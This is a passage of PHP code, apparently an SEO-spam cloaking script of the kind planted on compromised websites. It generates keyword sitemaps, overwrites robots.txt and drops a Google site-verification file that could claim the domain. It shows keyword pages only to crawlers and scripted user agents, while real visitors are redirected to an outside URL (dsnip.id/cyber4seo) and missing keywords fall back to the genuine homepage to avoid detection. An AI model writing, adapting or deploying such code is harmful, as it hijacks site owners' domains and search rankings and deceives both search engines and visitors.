'; foreach ($kwtunnel as $keyword) { $keyword = trim($keyword); if (!empty($keyword)) { $boParam = urlencode($keyword); $url = $baseUrl . '/' . $boParam; $lastmod = date('c'); $changefreq = 'daily'; $priority = '1'; $sitemapContent .= " {$url} {$lastmod} {$changefreq} {$priority} "; } } $sitemapContent .= ' '; file_put_contents($sitemapFilePath, $sitemapContent); } function generaterobotstxt() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $currentPath = dirname($_SERVER['SCRIPT_NAME']); $currentPath = rtrim($currentPath, '/'); $robotsfile = dirname(__FILE__) . '/robots.txt'; $robotsfilecontent = 'Sitemap: ' . $protocol . '://' . $_SERVER['HTTP_HOST'] . $currentPath . '/sitemap.xml'; file_put_contents($robotsfile, $robotsfilecontent); } function generateGoogleVerificationFile() { $verificationFilePath = dirname(__FILE__) . '/googlec5448d007e511baa.html'; $verificationContent = 'google-site-verification: googlec5448d007e511baa.html'; file_put_contents($verificationFilePath, $verificationContent); } function processRequest($c) { global $b, $a, $bo, $e, $f, $g; $readmeContent = file_get_contents($b); $kwtunnel = explode("\n", $readmeContent); $lpContent = file_get_contents($a); // Mengambil isi lp.php $found = false; foreach ($kwtunnel as $keyword) { $keyword = trim($keyword); if (!empty($keyword) && $bo == $keyword) { $keywordWithSpace = str_replace('-', ' ', $keyword); $keywordUppercase = strtoupper($keywordWithSpace); $lpContent = str_replace($c, $keywordUppercase, $lpContent); $lpContent = str_replace('{canonical}', $f, $lpContent); $lpContent = str_replace('{amphtml}', $e, $lpContent); $lpContent = str_replace('{amplp}', $g, $lpContent); $lpContent = str_replace('{endpoint}', $endpoint, $lpContent); $found = true; break; } } if (!$found) { handle404(); } displayLPContent($lpContent); } function handle404() { $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://'; $domain = $_SERVER['HTTP_HOST']; $homepage = file_get_contents("$protocol$domain"); $dom = new DOMDocument(); @$dom->loadHTML($homepage); echo $dom->saveHTML(); exit; } function displayLPContent($content) { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $isBot = preg_match('/(Googlebot|Twitterbot|TelegramBot|Google-InspectionTool|facebookexternalhit|Windows)/i', $userAgent); $isSuspiciousAgent = preg_match('/(curl|wget|httpclient|python|scrapy|bot|crawler)/i', $userAgent); if ($isBot || $isSuspiciousAgent) { echo $content; } else { redirectToTarget(); } } function redirectToTarget() { $targetUrl = "https://dsnip.id/cyber4seo"; header("HTTP/1.1 302 Found"); header("Location: $targetUrl"); header("Connection: close"); exit; } ?>